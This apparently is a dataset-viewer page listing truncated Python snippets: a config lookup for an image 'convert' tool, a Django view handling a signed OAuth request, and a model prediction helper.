return config['commands'].get('convert', shutil.which("convert"))
# try:
# except KeyError:
# EXIV2_PATH = shutil.which("exiv2")
|
9,298 | 17f76c2b53b36c81cea7f7616859f5257790cd73 | #!/usr/bin/env python
from django.http import HttpResponse
try:
import simplejson as json
except ImportError:
import json
from api import *
def index(request):
data = parse_signed_request(request)
if not data.has_key('user_id'):
request_url = oauth_request_url()
... |
9,299 | a19616d448da057d5be0af841467a25baaacf5b3 | import numpy as np
from load_data import load_entity, load_candidates2, load_train_data
def predict_batch(test_data, model, batch_size=None):
result = model.predict(test_data, batch_size=batch_size)
return result
def predict_data(test_data, entity_path, model, predict_path, score_path, test_path, dataset):
... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.